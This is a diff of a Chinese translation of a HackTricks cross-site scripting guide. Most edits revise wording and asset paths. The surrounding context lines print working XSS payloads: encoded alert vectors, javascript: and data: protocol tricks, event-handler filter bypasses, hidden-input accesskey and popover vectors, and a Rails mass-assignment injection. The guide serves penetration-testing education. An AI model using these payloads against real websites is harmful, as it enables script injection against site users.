@ -100,7 +100,7 @@ Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会
一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
找出用户直接提供的内容是否试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'并在控制台中查找错误,如:
找出用户直接提供的内容是否试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable')并在控制台中查找错误,如下所示
![](<../../.gitbook/assets/image (711).png>)
@ -120,7 +120,7 @@ parentElement
```
您还可以尝试直接**触发Javascript函数**`obj.sales.delOrders`。
然而,通常执行指定函数的端点是没有太多有趣DOM的端点**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
然而,通常执行所指示函数的端点是没有太多有趣DOM的端点**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
因此,为了**在不同DOM中滥用此漏洞**,开发了**同源方法执行SOME**利用:
@ -155,9 +155,9 @@ parentElement
## 在原始HTML中注入
当您的输入在**HTML页面中被反射**或您可以在此上下文中转义并注入HTML代码时您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
当您的输入在**HTML页面中被反射**或您可以在此上下文中转义并注入HTML代码时您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
对于这些情况,还**请记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
_**注意HTML注释可以使用****`-->`****或****`--!>`****关闭**_
_**注意HTML注释可以使用\*\*\*\***** ****`-->`**** **** \*\*\*\*****`--!>`**_
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载荷:
```html
@ -170,7 +170,7 @@ _**注意HTML注释可以使用****`-->`****或****`--!>`****关闭**_
### 标签/事件暴力破解
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的相同程序进行操作)。
### 自定义标签
@ -247,11 +247,11 @@ The last one is using 2 unicode characters which expands to 5: telsr\
### Click XSS - Clickjacking
如果为了利用这个漏洞你需要 **用户点击一个链接或一个带有预填充数据的表单**,你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
如果为了利用这个漏洞你需要 **用户点击一个链接或一个带有预填充数据的表单**,你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
### Impossible - Dangling Markup
如果你认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,你应该检查 [**Danglig Markup**](../dangling-markup-html-scriptless-injection/),因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码。
如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该检查 [**Dangling Markup**](../dangling-markup-html-scriptless-injection/),因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码。
## Injecting inside HTML tag
@ -275,14 +275,14 @@ The last one is using 2 unicode characters which expands to 5: telsr\
```
### 在属性内
即使你**无法逃离属性**`"`被编码或删除),根据**你的值反映在哪个属性**上**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
即使你**无法从属性中逃脱**`"` 被编码或删除),根据**你的值反映在哪个属性**中**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如 `onclick=`,你将能够在点击时执行任意代码。\
另一个有趣的**例子**是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
**使用HTML编码/URL编码绕过事件**
**使用 HTML 编码/URL 编码绕过事件**
HTML标签属性值内的**HTML编码字符**在运行时**被解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>`
HTML 标签属性值中的**HTML 编码字符**在运行时**被解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>`
请注意**任何类型的HTML编码都是有效的**
请注意**任何类型的 HTML 编码都是有效的**
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -309,7 +309,7 @@ HTML标签属性值内的**HTML编码字符**在运行时**被解码**。因此
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### 特殊协议在属性
### 特殊协议在属性
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
```javascript
@ -359,13 +359,13 @@ _**在这种情况下上一节中的HTML编码和Unicode编码技巧也是有
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
此外,对于这些情况还有另一个 **不错的技巧****即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用 **单引号****字符串****逃逸**,并且你看到 **它被 URL 编码**,请记住 **这没关系,** 它在 **执行** 时会被 **解释****单引号**
此外,对于这些情况还有另一个**不错的技巧****即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用 **单引号****字符串****逃逸**,并且你看到 **它被 URL 编码**,请记住 **这没关系,** 它在 **执行** 时会被 **解释****单引号**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **不会** **工作**,但你可以在 **payload****混合使用**
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **不会** **工作**,但你可以在 **payload****混合使用**
**在 `javascript:` 中使用十六进制和八进制编码**
@ -391,7 +391,7 @@ _**在这种情况下上一节中的HTML编码和Unicode编码技巧也是有
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### 事件处理程序绕过
### 关于事件处理程序绕过
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS 在“不可利用标签”(隐藏输入、链接、规范、元)
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以用隐藏输入:**
从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以用隐藏输入:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上键组合是**ALT+SHIFT+X**在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上键组合是**ALT+SHIFT+X**在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -462,7 +462,7 @@ Android: %09 %20 %28 %2C %3B
> \#someid {top: 0; font-family: Tahoma;}
现在您可以修改我们的链接并将其带入形式
现在您可以修改我们的链接并将其变为
> \<a href="" id=someid class=test onclick=alert() a="">
@ -749,7 +749,7 @@ top[8680439..toString(30)](1)
### Cookie XSS
如果你可以通过在 cookie 中发送有效负载来触发 XSS这通常是自我 XSS。然而如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie从而成功触发主域或其他子域易受 cookie XSS 攻击的)的 cookie XSS。为此你可以使用 cookie 投掷攻击:
如果你可以通过在 cookie 中发送有效负载来触发 XSS这通常是自我 XSS。然而如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie从而成功触发主域或其他子域易受 cookie XSS 攻击的)的 cookie XSS。为此你可以使用 cookie tossing 攻击:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -779,8 +779,8 @@ top[8680439..toString(30)](1)
```
### Ruby-On-Rails 绕过
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段 (onfocus)。\
表单示例 ([来自此报告](https://hackerone.com/reports/709336)),如果您发送有效负载:
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,可以在标签内添加额外字段onfocus。\
表单示例[来自此报告](https://hackerone.com/reports/709336),如果您发送有效负载:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -820,12 +820,12 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS与302响应中的头注入
### XSS与302响应中的头注入
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体因此仅仅一个跨站脚本有效载荷是无用的。
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体因此仅仅一个跨站脚本有效载荷是无用的。
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中你可以阅读如何在Location头中测试几种协议并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议:`mailto://``//x:1/``ws://``wss://`_空Location头_`resource://`。
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中你可以阅读如何在Location头部测试多个协议并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议:`mailto://``//x:1/``ws://``wss://`_空Location头_`resource://`。
### 仅限字母、数字和点
@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本?
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本
```html
<script type="???"></script>
```
@ -895,7 +895,7 @@ import { partition } from "lodash";
```
这种行为在 [**这篇文章**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval以滥用它可以触发 XSS。
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下
```html
<script type="speculationrules">
{
@ -920,7 +920,7 @@ import { partition } from "lodash";
* application/xml
* text/xml
* image/svg+xml
* text/plain (?? 不在列表中,但我我在 CTF 中见过这个)
* text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
* application/rss+xml (关闭)
* application/atom+xml (关闭)
@ -981,7 +981,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
如果在执行不可信代码之前**一切都是未定义的**就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中),可以“凭空”生成有用的对象,以滥用任意不可信代码的执行:
如果在执行不可信代码之前**一切都是未定义的**在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中),可以“凭空”生成有用的对象,以滥用任意不可信代码的执行:
* 使用 import()
```javascript
@ -1370,7 +1370,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### 上传文件中的 XSS (svg)
### 上传文件 (svg) 中的 XSS
将以下文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)
```markup
@ -1451,15 +1451,15 @@ id="foo"/>
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>